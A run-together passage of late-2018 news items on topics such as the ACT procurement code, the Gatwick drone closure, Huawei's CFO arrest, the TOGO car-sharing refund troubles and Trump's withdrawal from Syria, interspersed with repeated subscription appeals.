unreasonable" cost on small businesses by adding an extra layer of red tape. "The choice to make compliance with the code a mandatory prerequisite for tendering with the ACT government creates a conflict with another goal of the ACT government in procurement - that of supporting local businesses," Ms Carnell said. "This occurs as local businesses are disproportionately small businesses, which will be disadvantaged compared to larger national companies." ACT Employment Minister Rachel Stephen-Smith has previously rejected criticism that parts of the code were invalid and said the territory government was conscious of the need to avoid conflict with federal laws. While elements of the code have been softened, it is believed basically all businesses that do Commonwealth and territory work will need an exemption. Companies that want an exemption will need to be audited to prove their claim is genuine. The audits are expected to cost about $600 for a small business every 18 months. However unions say the code is required to prevent wage theft and exploitation occurring with taxpayer money. A school cleaning company was found to have underpaid its migrant workers in Canberra last year, with allegations some cleaners were owed $25,000. The union also raised concerns about subcontracting in Canberra's security industry last year, with secretary Lyndal Ryan describing the situation as a "race to the bottom". How the code works All companies tendering for ACT government work, including from the Office of the Legislative Assembly, the Canberra Institute of Technology, Suburban Land Agency and the City Renewal Authority, will eventually have to become code-certified. They must be audited in order to apply for a certificate, which can last up to 18 months. So far, 18 approved auditors have been appointed, and the registrar's office has received its first audit reports, although only one certificate has been issued as of December 14. Companies have to provide two years' worth of payroll tax returns and tax office data, as well as evidence of superannuation scheme payments as part of their application for a certificate. Secure Local Jobs Code registrar Andrew Parkinson will be able to ping companies for a number of other industrial relations infractions. Loading Instances of extreme or serious non-compliance with the code can result in a penalty of 100 points, which means an immediate cancellation of a company's certificate. Those instances would include providing false or misleading information on a statutory declaration, intentional disregard for the law and falsifying or concealing documents. Failing to produce documents requested by the registrar can also lead to the cancellation of a certificate. If a company does not notify the territory of an adverse ruling against them by a regulatory authority, they could lose 50 points and have their certificate suspended. Repeated non-compliance with the code can also result in a suspension. Isolated breaches of industrial relations laws, such as failing to provide payslips or pay appropriate overtime rates, can incur a loss of five points, or penalties like increased auditing and a reduced period of certification. If a company loses 100 points in a two-year period, their certificate can be cancelled or suspended. In determining points incurred, the registrar can take into account whether the company is a repeat offender or whether the infractions occurred against a vulnerable worker, such as someone who has a disability, is aged under 25 or is on a migrant visa. Loading If a certificate is cancelled during the middle of an ACT government job, the spokeswoman said the registrar and the territory entity managing the contract will work together to determine a suitable course of action, which may include termination of the contract. "Cancellation of code certificates is expected to be rare. In the unlikely event of significant or repeated breaches, where cancelling a certificate is warranted but would result in substantial costs and disruption to a government service or project, the registrar would have the option of placing a condition on the certificate," she said. "This would only be valid for that contract. This could be for a limited period of time to enable a new procurement process to be undertaken." Industry concerned about 'vexatious complaints' Anyone can make a complaint to the registrar about allegations of non-compliance. Master Builders ACT chief executive Michael Hopkins said this left the process open to abuse by unions keen to exploit the code as part of enterprise bargaining negotiations. Local businesses regularly report that unions use safety laws or their infamous MoU with the ACT government to prosecute other agendas such as driving union membership or as leverage to sign union enterprise agreements, Mr Hopkins said. To combat this tactic it is important that the new procurement code contain a fair and transparent complaints process, including a presumption of innocence, to avoid vexatious complaints and an unfair imposition on small businesses. However Unions ACT secretary Alex White said most complaints would be reviewed by independent auditors, with safeguards to stop frivolous complaints. The row between the federal Agriculture Minister and the live export industry has escalated with Simon Crean accusing David Littleproud of killing off the live sheep trade and possibly the cattle trade too in a testy letter in which he alludes to a "single heated exchange" between the pair. Mr Crean, the Chairman of the Australian Live Exporters' Council (ALEC), has been under intense pressure after the Awassi Express disaster, in which footage emerged showing 2,400 sheep dying en route to the Middle East from heat stress. The Minister commissioned two reviews following the incident and has taken a tough stance with the industry, this week accusing exporters of violating their social compact with the public. He demanded a response within days as to what investments the industry would make to keep the trade viable under proposed new rules. But in a three-page letter obtained by The Herald and The Age, Mr Crean responded angrily and said it was the new guidelines for exporting sheep, rather than the industry's failure to upgrade its ships, that would end the trade. Staff at the Australian Taxation Office's Newcastle office arrived at work on Monday to be told a power outage at the site in the early hours of the morning meant the office would be closed for the day. Lifts, air-conditioning and power supply to parts of the building were affected, and about 9.30am, the decision was made to close the site for safety reasons, with no shifts starting after that time. Some tax office workers weren't paid due to a power outage. Credit:Jeffrey Chan Staff employed by the tax office itself were still paid for the day, while contractors rostered on for the site were either told they wouldn't be paid, or if they had already arrived at work were paid only for the three-hour minimum shift required. In an email seen by The Canberra Times, a tax office recruitment staffer managing staff from suppliers and those known as the contingent workforce said "ATO will honour/pay suppliers a minimum shift requirement of three hours for workers that entered the building this morning for their shift". The Berejiklian government is ramping up a push to differentiate itself from the struggling Morrison government on key policy issues including climate change, energy, education and population ahead of the March election. Premier Gladys Berejiklian said her government would continue to "stand on its own two feet" after it launched a rebuke of the federal government's intransigence on climate change and energy policy. Premier Gladys Berejiklian is distancing her government from the Federal Coalition on key policy issues. Credit:AAP "We strongly supported the National Energy Guarantee because it set out a national approach to secure reliable and affordable energy while lowering emissions," she said. "It is disappointing the Commonwealth has not progressed the NEG but we have been getting on with the job of helping families and businesses deal with energy prices. Toronto: Canadian Prime Minister Justin Trudeau says the case of a third Canadian detained in China, doesn't seem to be linked to the previous two that appear to be retaliation for the recent arrest of a top Chinese tech executive. Meng Wanzhou, chief financial officer of Chinese telecommunications giant Huawei, was arrested in Canada on December 1 at the request of the United States, which wants her extradited to face charges that she and her company misled banks about the company's business dealings in Iran. Huawei chief financial officer Meng Wanzhou talks with a member of her private security detail in Vancouver. Credit:AP Nine days later, the Chinese secretly detained two Canadians on vague suspicions of "engaging in activities that endanger the national security" of China. Beijing didn't allow Canadian officials to see Michael Kovrig, a former diplomat in China, for four days and Canadian entrepreneur Michael Spavor for six days. Meng is out on bail in Canada. But the third Canadian detained doesn't seem to fit the pattern of the two previous ones, with no national security charges listed, Trudeau said. He raised the possibility of it being a visa issue. London: Gatwick airport closed to aircraft on Thursday following multiple sightings of illegal drones, disrupting flights for as many as 115,000 people on one of the busiest travel days of the year. Lines of passengers circled Gatwick's two terminals and hundreds hunkered down on departure-hall floors, with the airport saying on Thursday night, local time, that it could give no indication of when it might reopen. "We believe this to be a deliberate act to disrupt the airport," Superintendent Justin Burtenshaw, the police commander for Gatwick, said in a statement. "However, there are absolutely no indications to suggest this is terror-related." Reports of two objects above the airfield prompted authorities to halt flights late on Wednesday, with more than 50 incoming planes diverted to other hubs across Britain and some in mainland Europe. The airport reopened after six hours, only to shut again 45 minutes later amid further sightings. Latest News CBA tools aid customers in need Each customer is then offered support that is aligned to their specific need Rate action continues with NAB next to make major move Major rate action as cheapest fixed rates become most expensive A non-bank mortgage provider has partnered with a not-for-profit group which uses environmentally sustainable technologies to create food and economic security for remote communities. Food Ladder has operations in Australia, India and Uganda and provides custom-designed hydroponic systems and associated education and training programs to supply year-round access to commercial quantities of fresh, affordable produce. Resimac decided to support the organisation because of the alignment of its new brand positioning and the purpose of Food Ladder. Resimac joint CEO Scott McWilliam also said it was down to a desire of its employees to support the under-privileged in meaningful ways. The new Resimac brand was launched earlier this month following the merger of the Homeloans and RESIMAC Limited brands. McWilliam said Resimac aspires to be seen as an innovator that embraces service and technology to help customers fulfil the dream of owning a home. Similarly, Food Ladder uses technology to provide solutions to basic human needs of food and economic security, he added. We know that as one of the most philanthropic nations on Earth, it is important to most Australians to support underprivileged communities. By supporting Food Ladder Resimac is pleased to be able to help make this desire a reality. Food Ladder CEO Kelly McJannett said, We are absolutely thrilled to be partnering with Resimac, an organisation that shares our mission to innovate, embrace technology and leave the world better than how we found it, whether it be through economic or food security. The support from Resimac is much more than a monetary contribution. It is a partnership commitment which embraces the talents of Resimacs staff and will help us transform the lives of those most in need through Food Ladder programs here in Australia and overseas, she concluded. Shanghai (Gasgoo)- Chinese car-sharing startup TOGO is faced with a refund plight, very similar to what is happening to the bike-sharing venture Ofo who is required by over 10 million users to return their deposits, according to local media. A few days ago, TOGO released an emergency notification on its official WeChat account, saying that users can apply for deposit returns via app and offline registration. It is reported that many users choose to queue in the chilly winter outside the startup's headquarters in Beijing to get their money back in person. A user in the queue said on condition of anonymity that he applied for an on-line refund as early as October, while after a 7-workday review period, he still hasn't received the deposit yet. According to local report, a member of staff told users on spot that the company can only guarantee to return deposits to fifteen users each day and the refund should be executed in sequence based on the time that users fill out a registration form. Local media did an interesting math. The number of users registered on TOGO's platform had reached nearly 2 million in four Chinese megacities, namely, Beijing, Shanghai, Guangzhou and Shenzhen according to a report published on May 23, 2017. Thus, it takes at least 365 years for the company to finish the 2 million users refund at the speed of 15 users per day. The amount of the deposit is RMB1,500 per user, over 7 times more than the deposit required by Ofo. According to public information, TOGO has closed 6 rounds of financing, so far raising over $60 million in total. However, given the pretty high deposit amount and the huge number of registered users (if the above reported data were real), the money raised seems to be far away from adequate to complete all existing refunds. Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor ARLINGTON, Va. Fifteen teams from three continents met on the beaches of Honolulu last week for the 2018 Maritime RobotX Challenge. The week-long biennial autonomous maritime system competition co-sponsored by the Office of Naval Research (ONR), the Association of Unmanned Vehicles International Foundation and NAVATEK, a Hawaii-based company that designs ships, small crafts and other amphibious vehicles wrapped up Dec. 15. Like ONRs other sponsored robotic events RoboBoat and RoboSub this competition is designed to foster student interest in autonomous systems. This event rounds out the trifecta of maritime robotics competitions that ONR supports, said Kelly Cooper, a program officer in ONRs Ocean Battlespace Sensing Department and RobotX judge. Each of these events is designed to build upon skills learned in previous competitions, and participation in all can help build a solid foundation of engineering skills. Using a common boat platform called the Wave Adaptive Modular Vessel (WAM-V) surface craft, all teams must outfit their vessel with propulsion, sensor and control systems. These systems must be programmed to recognize and compute various data, to help the WAM-V make decisions autonomously as it traverses a course of seven increasingly difficult, maritime-related tasks. Besides having to accomplish a series of seven tasks without human interference, the vessels also have to deal with environmental issues like wind, rain and sun glare, said Cooper. Being in an open maritime environment like the North Pacific Ocean provides teams with more challenges than just what is laid out on paper in the mission requirements. The vessels without human or computer interaction had to demonstrate navigation and control; obstacle avoidance; location and sequence; identification and docking; detection and delivery; underwater recovery; and situational awareness. Teams also needed to create a website and video, write a technical design paper outlining their work and give a presentation. Each task tested students mechanical, electrical, computer and systems engineering skills as well as their presentation prowess and teamwork while competing for cash prizes totaling nearly $100,000 (which go directly to the school, usually to a robotic club or program). RobotX brings together the international student engineering community to showcase their know-how and help find new solutions to autonomous challenges faced by industry and the military, said Cooper. In fact, they are truly helping to advance autonomous maritime technology through their fresh ideas. National University of Singapore took this years top prize, while Australias Queensland University of Technology and Embry-Riddle Aeronautical University placed second and third, respectively. U.S. teams included: Florida Atlantic University, Georgia Institute of Technology, Old Dominion University, University of Florida, University of Hawaii at Manoa, and University of Michigan. International teams included: Australias University of Newcastle and University of Sydney, Chinas Harbin Engineering University, Japans Osaka Prefecture University, Singapores Nanyang Technological University, and Taiwans National Chiao Tung University. Former Thursday approached the High Court seeking time till January 31 to surrender in connection with a 1984 case in which he was recently sentenced to life imprisonment. Kumar, who was directed by the high court on Monday to surrender before authorities by December 31, sought more time saying he has to settle family affairs. Advocate Anil Sharma, representing Kumar, said they need some more time to file appeal before the challenging the high court's verdict and Kumar has to settle his family matters relating to his children and property. The plea is likely to come up for hearing on Friday. The case relates to killing of five Sikhs in Raj Nagar part-I area in Palam Colony in South West on November 1-2, 1984, and burning down of a Gurudwara in Raj Nagar part II during that period. Congress leader Sajjan Kumar, who was convicted on Monday in one of the cases related to the 1984 anti-Sikh riots, will appear before Delhi's Patiala House Court at 10 am today in the second case filed by the Central Bureau of Investigation (CBI). The second case against Kumar was filed by the CBI on the recommendation of the Nanavati Commission. After over three decades, the Delhi High Court had on Monday convicted Sajjan Kumar in one of the cases related to the riots and sentenced him to imprisonment for the remainder of his natural life. The court held the violence ... Software engineer Hamid Nihal Ansari, who spent six years in a Pakistani jail on charges of espionage, returned to his hometown Mumbai on Thursday morning, two days after was handed over to India at the Wagah-Attari border. Ansari, 33, along with his parents left from New Delhi in the morning in an Air India flight and arrived at the Mumbai airport around 9.30 am, his father Nihal Ansari said. Relatives, friends and well-wishers greeted Ansari and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him. The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken on account of relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father had said it was a new dawn for them. ALSO READ: Indian national who spent 6 yrs in Pak jail narrates his ordeal to Sushma Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a month's deadline to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. The Maha Kumbh in Allahabad starting next month could spell trouble for lakhs of workers, tanners, and meat and leather exporters in view of the Uttar Pradesh government's order to close tanneries and meat factories in and Unnao for three months during the congregation. The state government has ordered the closure of tanneries between December 15 and March 15 in the cities of and Unnao to provide clean water to devotees participating in the upcoming Ardh Kumbh festival. The is to be held in Allahabad between January 15 and March 4, 2019. According to the Uttar Pradesh State Industrial Development Corporation (UPSIDC), 264 small and big tanneries operate in and Unnao. Those in the business say these tanneries are the primary source of income and livelihood for over one lakh families. "Small-scale tanneries are likely to be the worst affected by the government's order," says the owner of one of the smaller units. Taj Alam, the president of the UP Leather Industries Association (LIA), told PTI the state government's move has come as a shock for the leather industry and meat processing units which are already in the red. Alam said the complete closure of tanneries could spell trouble for over three lakh workers who hail from socially and economically backward community and are engaged in the industry. The leather and leather goods export business and domestic sales from Kanpur and Unnao is around Rs. 20 billion a month each and the complete closure would hit business worth over Rs. 120 billion, Alam feared. "There will be large-scale job loss if the ban is not revoked." He said he has apprised top officials of the Union Commerce Ministry about the past practice of closing tanneries just for three to four days at a time before the days assigned for the 'shahi snan' (holy bath). The meat processing industries which are mostly in the Unnao district would also be affected as it would not be able to dispose of hide and other byproducts if the tanneries remained closed, he said. Unnao district has seven meat processing units with a combined annual turnover of Rs 100 billion. The winter days are its peak season and the ban on tanneries will seriously hit the meat export business. Alam said the effluent released from tanneries into the Ganga may not be even half as polluting as the untreated water released from various towns along the river. The tanners treat the water thrice before releasing it into the river, Alam said, adding the water from the plants is diverted to Rai Bareli and 80 per cent of the waste water does not reach the Ganga and this has been shown in the inquiry report made jointly by top administrative and and irrigation department officials of Unnao district just a fortnight back. Alam claimed that the Union commerce ministry has written to the UP chief secretary advising against the three-month ban on tanneries and meat units, which it feels is illogical as the holy bath takes place only on certain days. Regional Officer pollution control board (PCB), Kuldeep Mishra, however, denied claims of complete closure of tanneries in Kanpur. To be precise, 249 tanneries have been asked to operate at 50 per cent of average capacity, he said. In the eyes of transgender and gender non-binary activists, this is an act of doublespeak because the Bill, if it goes through the Rajya Sabha, will not only fail to protect the rights of transgender people in India, it will actively violate these rights. Activists from the community have condemned the passing of the Bill in its current form, and are calling on the government to withdraw it from consideration in the Rajya Sabha and instead pass the private members bill drafted by ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor ALAMEDA, Calif. U.S. Coast Guard members recently completed loading six small boats and accompanying equipment onboard the USS Green Bay in Townsville, Australia, for transport back to the United States. The loadout follows the Coast Guards recent deployment to Port Moresby, Papua New Guinea (PNG) where 94 Coast Guard personnel logged more than 2,000 underway hours providing round-the-clock maritime security during the 2018 Asian Pacific Economic Cooperation (APEC) Economic Leaders Week, Nov. 12-18. The high-profile summit was attended by leaders and senior officials from 21 nations, including Vice President Mike Pence representing the United States. A first-of-its kind Memorandum of Understanding signed by U.S. Ambassador Catherine Ebert-Gray and PNG Police Commissioner Gary Baki provided temporary authority for the Coast Guard to deploy small boats and specialized members as part of an adaptive force package (ADF) that provided port security, waterside protection, and anti-terrorism capabilities prior to and during the summit. Operating under the control of the U.S. Indo-Pacific Command, the ADF worked in cooperation with PNGs Joint Security Task Force and the Australian Defense Forces. The ADF was led by Port Security Unit (PSU) 305, based in Fort Eustis, Virginia, and included Reserve and active-duty service members from PSU 301 based in Cape Cod, Massachusetts, PSU 308 based in Kiln, Mississippi, and PSU 313 based in Everett, Washington, along with Maritime Safety and Security Team (MSST) Honolulu, MSST Seattle, MSST San Francisco and MSST Los Angeles/Long Beach. As a global leader in maritime law enforcement and port security, the U.S. Coast Guard was proud to work with the PNG Joint Security Task Force and our Pacific partners to ensure safety and security throughout the APEC Economic Leaders Week, said Cmdr. Michael McCarthy, commanding officer of PSU 305. The deployed service members and their international partners conducted waterway security at three separate maritime restricted areas around Port Moresby including waterways surrounding the APEC Haus, the main venue during the summit, and several cruise ships which served as lodging for global leaders and dignitaries during the summit. Throughout the deployment the ADF operated from the Royal Australian Navys HMAS Adelaide, a 757-ft long Australian amphibious assault ship equipped with a well deck that allowed for launching and recovering the Coast Guards six 32-foot transportable port security boats. Coast Guard personnel participated with their international partners in a Remembrance Day Ceremony Nov. 11 commemorating the 100th anniversary of World War I on the Adelaides helicopter landing deck. The APEC security mission is one of several recent joint operations conducted by the Coast Guard in the Western Pacific. In August, the service participated in the 17th annual Southeast Asia Cooperation and Training exercise, which brought together service members from navies and coast guards from nine nations to focus on increasing maritime domain awareness through collaborative and coordinated information sharing. The Coast Guard is also engaged in the Oceania Maritime Security Initiative, with law enforcement detachments deployed on supporting U.S. Naval vessels such as the USS Shoup, assisting Pacific nations with protecting their exclusive economic zones and combating illegal, unreported and unregulated fishing. The United States is a Pacific nation, said Vice Adm. Linda Fagan, commander, Coast Guard Pacific Area. We have deep and long-standing ties with our partners in the region, and more importantly, we share a strong commitment to a free and open Pacific, governed by a rules-based international system that promotes peace, security, and shared prosperity. British politician and economist Meghnad Desai, a self-confessed admirer till some time back, has accused the prime minister of not being a team player and predicted that the "disappointed" electorate will not vote him back with a majority. Modi "over promised" and was wrong in believing that he could run the whole country with the help of a few bureaucrats and not with a strong cabinet, as he did in Gujarat when he was the chief minister, Desai said. "Ultimately,the people are disappointed. Somehow, the feeling is that 'acch din ab tak nahin aaye' (the promised good days have not come in yet)," Desai told PTI in an interview Thursday. The London-settled Desai, a long-time Labour Party member, said Modi had a "great opportunity" and seemed to suggest that lack of team play may prove to be his undoing. "Modi, while being a good politician is not a good team player, he is not a team leader. He is a mass leader, but not a team leader," he said, adding barring Arun Jaitley and Sushma Swaraj, no other minister in his cabinet had previous experience. In contrast, the UPA regime, led by the "unlikely" Manmohan Singh, had at least six cabinet ministers, including Pranab Mukherjee, Arjun Singh, Sharad Pawar and P Chidambaram, who are all prime minister materials, he said. Modi had no idea that things would become so difficult and now it has come to such a level that he will have to ask for one more chance at power, Desai said. When asked if Modi has humility, Desai suggested that BJP's loss in the three Hindi-heartland states earlier this month should be humbling enough to make such a move. No single party will get a full majority in the 2019 hustings and we should brace for either an NDA or UPA-led coalition government, he said and warned that if such an eventuality does happen, it would be difficult to run a smooth house and government, he said. We need to stop expecting politicians to do anything good, he said, adding less of governance will be the best for the economy. Desai also attacked the Modi government for the crisis at the Reserve Bank saying it is not good to lose two successive governors, and specifically pointed out to the invoking of the never-before-used Section 7 of the Banking Regulation Act as a wrong step. If the government has to do something "spectacularly foolish" take the RBI reserves and spend it on "stupidities" like farm loan waivers, and you can see the "rupee is collapsed", he warned and termed the reserves as a "red line" that should not be crossed. He also welcomed the speech by deputy governor Viral Acharya wherein he warned of the wrath of the markets if the central bank's autonomy is compromised, and said that was a "good warning". Asserting that a central bank should not be run for political purposes, Desai lashed out at the untimely removal of Nachiket Mor from the RBI central board and the prominence given to fringe organisations like Swadeshi Jagran Manch in the board now. Organisations like SJM, to which S Gurumurthy belongs, have no place in the country at all, Desai said. When asked about governor Shaktikanta Das, Desai reminded of the independent work done by D Subbarao as the RBI governor despite hailing from the same bureaucracy that Das belonged to. He said the fact that this is the last job for Das, will also be of help. When asked if Patel's resignation will make it be difficult to attract talent from overseas to head key public jobs, he said the Modi regime has to come out clean and set the record straight on the factors that led to the sudden resignation. "The next person invited from abroad to be a central bank governor will want to know what happened in the past and he will call up Patel and Rajan. The government has to give its side of the story clean," he said, should stop "pretending" that nothing has happened. Days after quitting the NDA, Upendra Kushwaha-led Rashtriya Lok Samta Party (RLSP) is all set to join the UPA fold on Thursday, a said. Kushwaha has already held talks with the leadership and a formal announcement will be made at the party headquarters soon, he said. The former Union minister's joining the UPA is likely to give a boost to the formation of a grand alliance in to counter the NDA combine of Bhartiya Janata Party-Janata Dal(U)-Lok Janshakti Party. "Kushwaha has already held talks with top leadership and his joining the UPA fold is only a formality now," a top Congress leader, who was part of the talks, told The Congress, Rashtriya Janata Dal, Former Chief Minister Jitan Ram Manjhi-led Hindustani Awam Morcha (Secular) are already part of the United Progressive Alliance (UPA) and are seeking to give a fight to the National Democratic Alliance (NDA) in the upcoming Lok Sabha polls. The saffron alliance had swept the Lok Sabha elections in 2014, winning 31 of the state's 40 seats. Seguin, TX (78155) Today Areas of dense morning fog. Cloudy skies early, followed by partial clearing. High 77F. Winds SSW at 5 to 10 mph.. Tonight Partly cloudy skies during the evening will give way to considerable cloudiness and fog after midnight. Low 62F. Winds light and variable. When President Trump started the new year by suspending billions of dollars of security aid to Pakistan, one theory was that it would scare the Pakistani military into cooperating better with its American allies. The reality was that Pakistan already had a replacement sponsor lined up. Just two weeks later, the Pakistani Air Force and Chinese officials were putting the final touches on a secret proposal to expand Pakistans building of Chinese military jets, weaponry and other hardware. The confidential plan, reviewed by The New York Times, would also deepen the ... Twenty years ago, Republicans in the US House of Representatives narrowly voted to impeach president Bill Clinton. It was December 19, 1998. Subsequently tried by the Senate in early 1999, he was found not guilty on one count of perjury, while senators divided 50-50 on the other count of obstruction of justice. This fell far short of the two thirds majority required to remove him from office. He survived, but many Americans now wonder whether Donald Trump might face impeachment now the Democrats have regained control of the House. Clinton, after all, was the target of a ... France's data protection agency said Thursday that it had fined the US ride-hailing group 400,000 euros ($460,000) over a 2016 data breach that exposed the personal data of some 57 million clients and drivers worldwide. drew the wrath of users and regulators after the company waited a year before revealing in November 2017 that hackers had infiltrated its systems. The French Data Protection Authority said the breach would have been prevented "if certain elementary security measures had been in place." has already paid $148 million to US authorities to avoid a potentially embarrassing court case, and vowed to improve its security efforts. Last month, the Netherlands imposed a 600,000-euro fine over the breach and Britain ordered Uber to pay 385,000 pounds ($490,000). The company, which is widely expected to launch a public stock offering next year, has been trying to burnish its reputation after a series of scandals over executive misconduct and its competitive practices. Nissan Motor Co. is trying to block access to homes used by Carlos Ghosn in Beirut and Rio de Janeiro, part of a global network of real estate owned by the carmaker and provided to its ousted chairman, according to people familiar with the situation. Nissan provided Ghosn and his family with use of properties from Brazil to France during his tenure, which came to an abrupt end last month when the car titan was arrested in Tokyo over suspected financial crimes. Prosecutors in Japan indicted Ghosn and Nissan on Monday, accusing him of under-reporting his income. The ... The Americans accused the Chinese of being modern-day mercantilists who steal intellectual property. The Europeans accused the Americans of provoking a crisis in the world trading system, threatening the global economy. And the Chinese invoked Spider-Man. Unlike Spidey, the Chinese emissary said, America is not using its superpowers with great responsibility. The trash-talking by otherwise restrained diplomats took place at a normally dull occasion: a review of American trade policies at the World Trade Organization in Geneva. The reviews, held every two years, usually ... Tinsel around the cash register. Shops put a lot of effort into Christmas decorations. Its in their interest to associate themselves with the celebration, and to encourage shoppers to think spending up big is part and parcel of its enjoyment. Is this overt commercialisation of Christmas drowning out its true spirit? Not necessarily, according to research by myself, Jimmy Wong from the Singapore University of Social Sciences and Riza Casidy from Deakin ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor President said it was time for US troops to come home from Syria, after years of battling the Islamic State group in the war-wracked country. "We won," Trump said in a video message posted on Twitter on Wednesday, declaring the IS jihadists defeated. "We've beaten them and we've beaten them badly. We've taken back the land." "So our boys, our young women, our men -- they're all coming back and they're coming back now," Trump said. His message came at the end of a day of relative surprise in Washington at the news that the 2,000 US troops on the ground in Syria would be withdrawn. A US official said Trump's decision was finalized on Tuesday. ALSO READ: With 'ISIS defeated', Trump plans full withdrawal of US troops from Syria In his video message, the Republican president -- facing criticism on both sides of the political aisle -- insisted the time was right. "They're getting ready. You're going to see them soon. These are great American heroes," Trump said. Pakistan on Thursday defended its close ally China against a growing outcry over Muslims who are being detained by Chinese authorities, saying the issue was being "sensationalised" by foreign media. Numerous extrajudicial detention centres have been set up in China's vast, troubled Xinjiang region, holding as many as one million ethnic Uighurs and other Muslim minorities, according to estimates cited by a UN panel. Among them are believed to be dozens of women who married men from neighbouring Gilgit-Baltistan region in Pakistan, where people regularly cross the border into China for trade. "Some faction of foreign media are trying to sensationalise the matter by spreading false information," Mohammad Faisal, spokesman for Pakistan's ministry of foreign affairs, told reporters at a weekly press briefing in Islamabad on Thursday. "As per Chinese authorities, out of 44 women, six are already in Pakistan. Four have been convicted on various charges, three are under investigations, eight are under going voluntary training. Twenty-three women are free and living in Xinjiang of their own free will," he added. In recent years, Pakistan has heavily pushed its relationship with China, lauding the tens of billions of investment dollars that is pouring into the country as a "game changer". has also upgraded the treacherous mountain road connecting Gilgit-Baltistan to Xinjiang. But China has had difficulty reconciling its desire for development with fears that Uighur separatists will import violence from Pakistan. Chinese authorities have long linked their crackdown on Xinjiang's Muslims to counter-terrorism efforts, arguing that separatists are bent on joining foreign extremists like Al-Qaeda. They describe the camps as "vocational education centres" for people who appear to be drawn towards Islamist extremism and separatism. But human rights activists say members of China's Muslim minorities are being held involuntarily for transgressions such as wearing long beards and face veils, and that the region has become a police state. Faisal said his ministry and Chinese authorities will continue to coordinate on this matter. "The Chinese authorities have also offered to arrange visits to Xinjiang of the families of the convicted women," said Faisal. China and the United States will hold more talks on trade in January, China said on Thursday, following detailed discussions about the issues to be tacked in the negotiations. Commerce Ministry spokesman Gao Feng expressed confidence in a "successful implementation" of a consensus reached at Dec. 1 talks between U.S. President Donald Trump and his Chinese counterpart, Xi Jinping, in Argentina. Gao said the two sides had been in close contact since then, including a vice-ministerial level call on Wednesday, when they went over arrangements for more talks and the issues ... It was less than three months ago that John Bolton, the national security adviser, declared an expanded objective for American troops in Syria. The goal is not just defeating the Islamic State, but also ensuring that Iranian forces leave the country, he told reporters in what seemed like an authoritative statement of official policy. Only, as is so often the case with Donald Trumps chaotic presidency, it apparently wasnt. On Wednesday, Mr. Trump summarily overruled Mr. Bolton and the rest of his national security team. He ordered the withdrawal of all 2,000 ... If you are currently a print subscriber but don't have an online account, select this option. You will need to use your 7 digit subscriber account number (with leading zeros) and your last name (in UPPERCASE). President Trump has always taken a contrarians view of American military power: He wants to command the biggest, toughest forces on earth, and he wants to keep them at home. The lessons that many in the Pentagon and the intelligence agencies learned in the post-9/11 era that deployed forces are key to stopping terrorists before they reach American shores and vital to maintaining the alliances that keep the world safe never resonated with Mr. Trump. He is far more engaged with the idea of using the military to secure the Mexican border than to counter Russia, ... The United States does not want to be the "Policeman" of the Middle East, US President Donald Trump tweeted on Thursday, as he defended his controversial decision to pull US forces out of Syria. "Does the USA want to be the Policeman of the Middle East (West Asia), getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight....," he tweeted. Trump added: Russia, Iran, Syria & many others are not ... The U.S. Treasury will lift sanctions on the core empire of Russian businessman Oleg Deripaska, including aluminium giant Rusal and its parent En+, watering down the toughest penalties imposed since Moscow's 2014 annexation of Crimea. In April, the U.S. Treasury imposed sanctions on Deripaska, Rusal, En+ and other companies in which he owns stakes, citing "malign activities" by Russia, prompting turmoil in global aluminium markets. After lobbying by European governments, Washington postponed enforcement of the sanctions and started talks with Deripaska's team ... Two people have been arrested in connection with Andheri's government-run Employees State Insurance Corporation (ESIC) Kamgar Hospital fire that claimed lives of nine people. The fire which broke out on Monday injured over 150, mostly patients and staff. Speaking to ANI, Navinchandra Reddy, DCP, Zone-10, Mumbai informed that the two arrested are - Supreme Construction Company's site 